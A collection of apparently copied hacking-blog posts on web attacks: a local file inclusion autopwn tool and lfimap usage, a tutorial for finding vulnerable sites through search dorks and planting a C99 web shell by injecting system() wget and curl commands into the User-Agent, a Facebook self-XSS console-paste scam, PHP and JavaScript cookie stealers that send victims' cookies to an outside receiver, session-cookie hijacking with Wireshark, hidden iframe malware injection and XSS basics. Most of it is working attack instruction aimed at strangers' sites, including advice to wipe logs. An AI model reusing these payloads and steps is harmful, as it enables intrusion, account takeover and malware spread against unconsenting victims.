LFI with perl script :D

Source Download from here

Features

• Signature-free
• Session Splicing
• User-Agent and Log injection
• Arithmetic Test

Usage

 perl lfi_autopwn.pl -h www.vuln.tld -u "/vuln.ext?page=main&foo=bar" -i page

This script will attempt to gain code execution on sites vulnerable to local file inclusion via an httpd error log or by modifying the user-agent and including a file containing environment variables. The php code execution test is performed using an arithmetic challenge, and the script uses system() as its php execution function. The fact that every part of this process is randomized including the math challenge prevents signature based detection while LibWhisker provides IDS Evasion.

Notice: It is possible that this script will not work on your intended target but tests positive for php execution. In that case, changing your bash command execution function from system to one of many others is most likely to yield the desired results.

Protip: Make sure you've saved httpdlogs.conf to the same directory as lfi_autopwn.pl.

httpdlogs.conf

The httpdlogs.conf file dictates filenames for possible error log locations.

If you know any filenames that aren't listed here, feel free to add them to your local copy. Files are simply separated by newline.

• ./err.log
• ./error_log
• ./error.log
• /etc/httpd/conf/logs/error_log
• /etc/httpd/logs/error_log
• /home/php5/logs/error_log
• ../log/error_log
• ../log/error.log
• ../logs/error_log
• ../logs/error.log
• /proc/self/fd/2
• /usr/local/apache2/log/error_log
• /usr/local/apache2/logs/error_log
• /usr/local/apache2/logs/error.log
• /usr/local/apache/error.log
• /usr/local/apache/log/error_log
• /usr/local/apache/logs/error_log
• /usr/local/apachessl/logs/dummy-host.example.com-error_log
• /usr/local/apachessl/logs/error_log
• /usr/local/httpd/log/error_log
• /usr/local/httpd/logs/error_log
• /usr/local/php/log/error_log
• /var/log/apache2/error_log
• /var/log/apache2/error.log
• /var/log/apache/error_log
• /var/log/httpd-error.log
• /var/log/httpd/error_log
• /var/log/nginx/error.log
• /var/log/php-fcgi/error_log
• /var/log/php-fpm/err.log

Other Execution/Interesting PHP Functions

passthru, leak, link, shell_exec, exec, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo => php_uname, getmyuid, getmypid, passthru, leak, listen, diskfreespace, tmpfile, link, ignore_user_abord, shell_exec, dl, set_time_limit, exec, system, highlight_file, source, show_source, fpaththru, virtual, posix_ctermid, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix, _getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_times, posix_ttyname, posix_uname, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, phpinfo

Read More

How to use lfimap tool for LFI :D

Installation

$ cd /data/src/
$ wget http://lfimap.googlecode.com/files/lfimap-1.4.8.tar.gz
$ mkdir -p /pentest/web/
$ tar xvzf lfimap-1.4.8.tar.gz -C /pentest/web/

Usage

Syntax

$ python lfimap.py -t <target> [options]

Options

--target, -t <target>

Target. E.g. http://www.test.com/ss.php?page=[LFI HERE]

--null, -n

Put a null byte to bypass some controls

--user, -u <user>

Is used to send username in basic authentication

--passw, -p <password>

Is used to send password in basic authentication

--proxy, -w <proxy>

Proxy support

--output, -o <file>

Set Output file

--hexa, -x

Encode the url to hexa

Examples

Example #1: PoC

Description

The following example is based on a specific vulnerable code (download it here) that doesn't properly check/sanitize user inputs and is hence vulnerable to LFI attacks. LFIMap has been tested against this application as a Proof of Concept.

Stdout

LFIMap has been called with following parameters:

$ python lfimap.py -t "http://127.0.0.1/poc/LFI/index.php?page=page2.txt" -o report.html

Here is the output on the screen:

 lfi detected in "page" parameter
--------------------------------------------------------------------
Made by Augusto Pereyra
Thanks to www.artsweb.com.ar
This code is distributed under GPL Licence
Detecting root path of site
--------------------------------------------------------------------

Going down 0 folder
Going down 1 folder
Going down 2 folder
Going down 3 folder
Going down 4 folder
Going down 5 folder
root path finded in: 
-------------------------------------------------------------
http://127.0.0.1/poc/LFI/index.php?page=../../../../../&
 The root of the File system was found 6 levels down
 This is a Linux System
-------------------------------------------------------------
2011-02-03 06:52:45.401371
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../proc/version&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/apache2/apache2.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/mysql/my.cnf&
Possible password detected in this file
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/sysctl.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/passwd&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ts.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/ca-certificates.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/debconf.conf&
Possible password detected in this file
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/bash_completion.d/debconf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/xdg/user-dirs.conf&
==============================================================
File Found: 
http://127.0.0.1/poc/LFI/index.php?page=../../../../../etc/gnome-vfs-2.0/modules/default-modules.conf&
(...TRUNCATED...)

Generated report

Here is an extract of the generated html report:

Proof of Concept

By clicking on one of the links from the generated html report, here is the proof of concept. We can see that the application is vulnerable to LFI attacks.

Read More

How to hack a website with Local file inclusion or LFI

To find a vulnerable website, we will be using what is known as a Google 'dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork'. All you have to do is paste the dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork into Google search, and see what you find!
 

allinurl:index.php?page=

Essentially you can replace 'index' and 'page' with whatever words you want and then search for that.

For example, you can use:

allinurl:site.php?site=

Once you paste your dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork into Google, you should come up with a list of website which contain that URL, simply go to one of these and then follow the steps below!

NOTE: Few sites are vulnerable to LFI, but they do exist! You just have to keep searching until you find one.

So, let's say that we find the following site using our dorks; simply Google search a specific string or term to yield the desired results. often considered hacking' class='bbc ipSeoAcronym'>dork:

http://www.site.com/index.php?page=contacts.php

What we're going to do is replace contacts.php with 'null', so that you get the following:

http://www.site.com/index.php?page=null

If you see a list of errors running down the page, or missing content (pictures, text etc.), then the site is vulnerable and we may continue, otherwise just move on to the next site.

Now, we're going to try and connect to a file which we know exists on Linux servers, /etc/passwd.

Since index.php has the rights to connect to a file like contacts.php, it's possible that the administrator has forgottten to restrict its access to other files, including the files containing sensitive data.

We're going to try to read the file "/etc/passwd" which contains data on root users, etc.

So, now change your URL to:

http://www.site.com/index.php?page=/etc/passwd

If you see a large list of data appear, then that's great, the site is completely vulnerable to LFI, and you've pretty much got this in the bag.

If you don't see this data, but get a 403 error or more errors, then move on to another site.

Now, change your URL again to:

http://www.site.com/index.php?page=/proc/self/environ

If you now see a new set of data, that's great.

If somewhere in the data the following is shown, then that's even better.

DOCUMENT_ROOT=((Random value here))

If not, unfortunately you'll have to move on, there are ways to circumvent this, but I'm keeping this tutorial as basic as I can.

Now, open up Tamper Data, and change your User Agent value to the following:

<?system('id');?>

This is a basic PHP code to check if we can execute code on our vulnerable machine.
The page should refresh, and your DOCUMENT_ROOT value should have changed, if it didn't, go for another website.
Now change your User Agent again, this time to

<?system('uname -a');?>

If your User Agent changes again, great.
Now we're going to upload a shell, which will grant us full control of the site, and the ability to deface / root / whatever the fuck you feel like doing.
Change your user agent to the following:

<?system('wget http://www.sh3ll.org/c99.txt -O secret.php');?>

What the above command does is saves a text form of a powerful PHP shell, 'C99' and then renames it to secret.php.
Note: If the above wget command does not work, you should try curling it instead:

<?system('curl -o shell.php http://www.sh3ll.org/c99.txt');?>

Now navigate to your shell, which should be at the following directory:

http://www.site.com/secret.php

NOTE: If your website's vulnerable page was something like

http://www.site.com/dir/dir/dir/index.php?page=contacts.php

Then your shell will be at the directory of the index.php, so for the above case, you will find it at:

http://www.site.com/dir/dir/dir/secret.php

Now that your shell is uploaded, go nuts!

Don't forget to wipe the logs before you leave -- IMPORTANT.

Good luck and have fun!

Read More

how to finds your profile visitors

#Use Google Chrome
1- Copy All Code →→ http://pastebin.com/raw.php?i=WwqLxmYe
2- Go To Your Profile (Not Home Page)
3- Press F12 or Right Click→InspectElement→Console.
4- Paste All Script By Press Ctrl+V.
5- Press "ENTER" on Keyboard.
Wait 3-4 minutes You Will Know Who Visiting Your Profile
NOTE: If the application is not working, go here http://www.facebook.com/selfxss > > checkbox reading "Allow My Account to be hijacked if I paste the malicious JavaScript" ** If failed or warning appears, ignore it. Refresh and try again

Read More

What are Computer Cookies?

What are

Computer Cookies?

The sender, can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.

The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.

Php Coding a receiver is the part. Only two things are needed to make a receiver : a webhost/ftp which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).

As I said, the receiver's job is to receive the cookie from the sender. Once the receiver has the cookie, it needs a way to get that cookie to you.

 <?php                                      // line 1
$cookie = $HTTP_GET_VARS["cookie"];       // line 2
$file = fopen('cookielog.txt', 'a');     // line 3
fwrite($file, $cookie . "\n\n");        // line 4
?>

Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.

Done ! Just upload the files on ftp server and make permission of text file "cookielog.txt" to 777

Read More

How to build a basic cookie stealer

How to build a basic cookie stealer



A cookie stealer is used to steal the login information of any unsuspecting victim. Once the link is visited, the cookie of the user is taken and stored in a text file. They are then redirected to another page without knowing what has just happened. This cookie stealer will be made using PHP, so to begin with you will need a free host with PHP support. There are many out there so I wont give any examples. Once you have your host it's time to begin.

A cookie stealer is made up of a sender and a receiver. The sender is done using JavaScript so will work on almost any site providing the user has JavaScript turned on. The receiver is placed on your site and takes the cookie from the JavaScript cookie sender. Here is the receiver code for your PHP file:

<?php

$cookie = $HTTP_GET_VARS[" c"];
$file = fopen('cookielog.txt', 'a');
fwrite($file, $cookie . "\n\n");
echo " <script>location.href='http://www.google.com';</script>";

?>

There are 3 parts of this code that are highlighted. The first is the letter "c", this is the name of get command the PHP file uses to get the cookie (/script.php?c=...) If you are trying to hide what the script is doing, this can be called anything. If you change this though, the script below must be changed to fit. The second and third are the name of the log file it creates when the cookie is received and where it redirects the user to after the log file has been stored.

Next is the Javascript receiver:

<script language="JavaScript">
document.location= " http://www.yoursite.com/stealer.php?c=" + document.cookie; </script>

Again you have to change the URL to fit the actual location and name of your PHP script. Also, if you have changed the GET variable name (c) this must be changed too.

Add that to the site and as soon as it loads, the cookie is stolen. It would be a lot better to name the PHP page to look like part of the site your are infecting e.g. out.php maybe. That's all there is to building a basic cookie stealer. If you want to go more advanced and have a host with sendmail enabled you could make the script email you the cookie log as soon as it arrives.

How cookie stealers are used



Just before finishing this tutorial it would useful to mention the most common infection methods. The first is finding a post comment form or guestbook or any web form that doesn't filter what the user enters, allowing you to enter the above JavaScript into the comment field. This is a relatively simple method.

Then there is also posting the link on basic forums that allow you to do so making sure the link is hidden or submitting the link to a site.

The next is through XSS (click to go to an XSS tutorial) permanent XSS is easy its just the same again, but temporary XSS can be used as well. Say you have a search engine that is vulnerable and the format is:

Search.php?q=search_here

You could add the script straight to it

Search.php?q=<script language="JavaScript">document.location= "http://www.yoursite.com/stealer.php?c=" + document.cookie;</script>

Although this does look pretty obvious. Possibly making use of encrypting using hex then using Javascript's document.write or using unescape will make it virtually unrecognisable though.



Links

http://www.nickciske.com/tools/hex.php

Hex encoder/decoder

http://www.java2s.com/Code/JavaScript/Security/UnescapeEncoderDecode.htm



JavaScript unescape encoder/decoder

And that's all there is to this tutorial. Now you should also be able to recognise and avoid a cookie stealer if one is directed towards you.

Read More

How to steal Facebook Authentication cookies

How to steal Facebook Authentication cookies

How to hack a facebook account – or, basically how to hijack php sessions. Yes – this is old news – yes its a common vulnerability – but you get a better idea for what it is and how it works when things are explained in detail (with screenshots!).
Before we begin, however, I want to re-emphasize that it is VERY EASY to protect yourself against this sort of attack. Facebook supports HTTPS, so when you browse facebook (or twitter for that matter) or if you have it bookmarked – please make sure you’re using HTTPS:// rather than HTTP:// in the URL at the very least, if not using a VPN solution for further encryption. Also, if the ‘victim’ logs out of facebook, the attackers session becomes invalid – so it’s a good practice to actually log out of facebook and log back in again rather than using the ‘remember me’ checkbox.
Facebook like many sites operates using authentication cookies. Their auth cookies contain a variety of information, but for our purposes this is irrelevant. Here is a sanitized cookie for reference:
Cookie: datr=1276721606-b7f94f977295759399293c5b0767618dc02111ede159a827030fc; lsd=Xesut; lxe=greg.evans%40****************; c_user=100001230367821; lo=wl9fcGXMhPfoT4bAhKFP3Q; lxs=1; sct=1276721745; xs=a615cfe596448194d6e2a8d062a90e4e
You can see the ‘lxe’ field is the login. We haven’t done any further research into what the various other fields mean, but using facebook without any kind of security you’re both leaking the email address used for your login and the session cookie.
First thing you’ll want to do is fire up your favorite packet capture application. For this example we’ve used Wireshark:

Next, set the filter in the top left to ” http.cookie contains “datr” “. This should show you only packets captured which contain the cookie we’re looking for. You can see that in this screenshot we’ve already captured a cookie.

Once you’ve found a suitable cookie, you can copy it into the buffer by right clicking on the cookie line, and clicking Copy -> Bytes (Printable Text Only)

Next you’ll want to open up firefox. You’ll need both greasemonkey and the cookieinjector script.
Simply browse to facebook – make sure you are not logged in:

Hit ALT-C to bring up the cookie injector dialog box:

Then paste in the cookie!

Hit refresh and – VIOLA! you’re now logged in as your victim! Now this doesn’t give you access to their credentials, this is about the equivalent to walking up to their workstation while they’re away from their desk and using facebook.

Neat huh? Pretty easy too. I smiled big when we demo’ed the attack in our lab – its old, sure, but being successful is always a good feeling!

Read More

All About Cookies and Security

What are cookies and how are they used by websites and web admins?

Cookies identify you to the site. They store settings about your customized look and feel for the pages you view, your username and encrypted password or user id, who referred you to the site, profile preferences, and just about any kind of information the admins want them to store to customize your user experience. Cookies are most commonly used to give you access to login protected pages once you've entered your information, identify you in content that you change on the site (forum posts or article comments, for example), tell the administrators how you found the site, and more. Again, cookies will function as their creators have written them to function. This sounds like a simple, obvious statement, but it can't be overlooked. We'll see why later.

So what are the effects if cookies are manipulated?

Insecure cookies can be changed to allow you access to protected pages (ex admin), change your user id to impersonate other users, etc. Up until now, this tutorial has been all theoretical information, so how about a little real-life application now?

I remember testing a website whose admin knew very little about security. The website worked like this: the user would log in and the site would check the username and password combination. If they were correct, then the site would give the user a cookie containing their user id (ex: 1428) to identify them to the site for the remainder of their session, their username to be displayed on the content they changed (ex: fourthdimension), and some other miscellaneous info like local time, referrer, etc. Like I mentioned earlier, sites will only use cookies as well as their administrator created them to. Are you beginning to see what could happen if administrators use cookies insecurely like this one did? If not, you will in a few minutes. The minute I saw my cookie and understood how the site used it, I knew the site was mine. The first thing I did was fool around with changing the value of my username. Sure enough, when I posted comments on the site, the comment author fields displayed whatever I had just changed my cookie's username value to. Well, that was fun, but not very useful unless I wanted to use it for phishing or social engineering, none of which were objectives in this test, so I decided to take note of it in my report and move on. What about the user id field? Like I said, the site would check for a valid username/pass combo ONCE, when the user logged in. After that, it relied on the cookie to tell it who the user was. That made the user id field a pretty promising field to change if I want to escalate my privileges on the site or control other users' accounts. Sure enough, as I changed the user id, I would change who I was logged in as. (Note that the display name didn't change because that was stored seperately as I mentioned earlier, but all the user info and preferences, etc changed, so I was sure that it worked.) Working on the assumption that the user id wasn't a randomly generated number but actually the member number assigned by the order of registration, I decided to try for the admin's account, which would have the user id of 1 or 0001 or something along those lines. After a few minutes of tweaking that logic, I was logged in as the site administrator. After finding a few more errors (xss, php validation, etc) I sent him the report. So now do you see how powerful changing your cookie can be if site administrators don't user secure cookies or use their cookies securely? I didn't even need to know the admin's username or password, and since there were no visible attacks on the site, there was nothing to raise anyone's suspiscion. Cookies can be usefull tools when used correctly by web admins, but powerfull attack vectors to be exploited when used incorrectly.

So now that you understand the theory and applications of cookies, you're probably wondering how you can edit them on your own. There are many ways to change cookies, such as javascript injections, dozens of firefox addons, etc. My favorite way is by using a firefox addon called Firecookie, which is actually an extension to another firefox addon, firebug. You can download them from mozilla's official addon site (firebug must be installed first):

Firebug: https://addons.mozilla.org/en-US/firefox/addon/1843
Firecookie: https://addons.mozilla.org/en-US/firefox/addon/6683

If you don't have firefox, get firefox. Now that you have them installed, I'll give you a quick guide to editing cookies with them. There's a lot more you can do with firebug, so I'd encourage you to look at some tutorials for its other features as well, like editing pages' source code on the fly with its Inspect feature. That aside, back to editing cookies. Click the firebug icon on the bottom right of your firefox window. Now click on the Cookies tab at the top of the window that pulls up. Fill in the checkbox for Cookies and click apply. Click OK on any windows that pop up about resending data. Now you should see a listing of the cookie field and values, among other things. Right click on the field you want to change and click edit. Change the value field to whatever you want. You may need to change the session only check box or the expiration date to get the cookie to stay once the page has refreshed, depending on the page. Once you've changed the value, refresh the page. If you still see your cookie in the firecookie window, then your cookie is in effect. If not, you may need to play with some of the settings as I mentioned earlier.

And that's the basics of cookie hacking! Now you know all you need to understand cookie stealing and more.

Read More

What is an IFrame Injection?

What is an IFrame Injection?

Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites.  So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website.  Malware  will be loaded to your computer, now you are infected

What is IFrame Tag?

<Iframe> tag stands for Inline Frame.  It is used to insert contents from another website or server.  That can be useful for building online applications.

IFrame Injection Attack:

Malware Attackers use this IFrame and include the malware websites. They are able to include the webpage one pixel square(You won't able to see it in webpage). Obfuscate the JavaScript that will run automatically from that included page so that it looks something like %6C%20%66%72%61%6D%65%62%6F - leaving no obvious clue that it's malicious.

What an attacker can do with Iframe Injection?

Using Iframe Injection, an attacker can inject advertisements inside any other websites, insert malware infected site links, redirect to malware infected sites and more.

Iframe Injection Tutorial:

1.First of all attacker will find the Vulnerable websites using google dorks.
2. They test the vulnerability by inserting some iframe tag using the url.
3. then insert the Malicious Iframe code inside the webpage.
For Example:
he can insert this code using the url:

<iframe src=”http://malwarewebpages/web.html” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

For php webpages:
echo “<iframe src=\”http://malwarewebpages/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Obfuscate javascript
<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){… 

4. So if the clients load page, his system will be infected.

What you have to do ,if youinfected by Iframe Injection?

1. Change your passwords of ftp, control panel and database.
2. Inform to your hosting service about the injection attack and they will take care of server injection .
3. Download all your files from the hosting and  check whether they are infected or not. if you found any infected files, clean it.
4. Buy a good antivirus software, Scan your Computer completely.
5. Don't use the Public systems for logging into your Hosting service.

Webmasters  should take care(affects page rank,visitors) 

Webmaster, If you find your website is infected by Iframe Injection, then try to clean it as soon as possible before google detects it.  If the google detects it, it will show the Pop up message to your users " This site may harm your computer". Definitely , users won't come back to your site .  Also google will set black mark for your website.  You will lost your page rank and visitors.


If you want to check the what google thinks about your websites, then use this link:

http://www.google.com/safebrowsing/diagnostic?site=http://siteurl

Read More

What is XSS?

What is XSS?
Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users.

In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.

Example :Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.

It will be easy to understand XSS , if you have the following prerequisite:

• Strong Knowledge in HTML,javascript(Reference).
• Basic Knowledge in HTTP client-Server Architecure(Reference)
• [optional]Basic Knowledge about server side programming(php,asp,jsp)

XSS Attack:
Step 1: Finding Vulnerable Website
Hackers use google dork for finding the vulnerable sites for instance  "?search=" or ".php?q=" .  1337 target specific sites instead of using google search.  If you are going to test your own site, you have to check every page in your site for the vulnerability.

Step 2: Testing the Vulnerability:
First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.

Test 1 :
Once we found the input field, let us try to put some string inside the field, for instance let me input "BTS". It will display the  result .

Now right click on the page and select view source.   search for the string "BTS" which we entered in the input field.  Note the location where the input is placed.

Test 2:
Now we are going to check whether the server sanitize our input or not.  In order to do this , let us input the <script> tag inside the input field.

View the source of the page . Find the location where input displayed place in previous test.

Thank god, our code is not being sanitized by the server and the code is just same as what we entered in the field. If the server sanitize our input, the code may look like this &lt;script&gt;. This indicates that the website vulnerable to XSS attack and we can execute our own scripts .

Step 3: Exploiting the vulnerability
Now we know the site is somewhat vulnerable to XSS attack.  But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code.  For instance, let us input <script>alert('BTS')</script> .

Now it will display pop-up box with 'BTS' string. Finally, we successfully exploit the XSS .  By extending the code with malicious script, a hacker can do steal cookies or deface the site and more.

Types of XSS Based on persisting capability:
Based one Persistence capability, we can categorize the XSS attack into two types namely Persistent and Non-Persistent.

Persistent XSS:

The Persistent or Stored XSS attack occurs when the malicious code submitted by attacker is saved by the server in the database, and then permanently it will be run in the normal page.

For Example:   
Many websites host a support forum where registered users can ask their doubts by posting message  , which are stored in the database.  Let us imagine , An attacker post a message containing malicious javascript code instead.  If the server fail to sanitize the input provided, it results in execution of injected script.  The code will be executed whenever a user try to read the post. If suppose the injected code is cookie stealing code, then it will steal cookie of users who read the post. Using the cookie, attacker can take control of your account.


Non-Persistent XSS:

Non-Persistent XSS, also referred as Reflected XSS , is the most common type of XSS found now a days. In this type of attack, the injected code will be send to the server via HTTPrequest.  The server embedd the input with the html file and return the file(HTTPResponse) to browser.  When the browser executes the HTML file, it also execute the embedded script.  This kind of XSS vulnerability frequently occur in search fields.

Example:
Let us consider a project hosting website.  To find our favorite project, we will just input the related-word in the search box .  When searching is finished, it will display a message like this "search results for yourword " .  If the server fail to sanitize the input properly, it will results in execution of injected script.

In case of reflected XSS attacks, attacker will send the specially-crafted link to victims and trick them into click the link. When user click the link, the browser will send the injected code to server, the server reflects the attack back to the users' browser.  The browser then executes the code .

In addition to these types, there is also third  type of attack called DOM Based XSS attack, i will explain about this attack in later posts.

What can an attacker do with this Vulnerability?

• Stealing the Identity and Confidential Data(credit card details).
• Bypassing restriction in websites.
• Session Hijacking(Stealing session)
• Malware Attack
• Website Defacement
• Denial of Service attacks(Dos)

Read More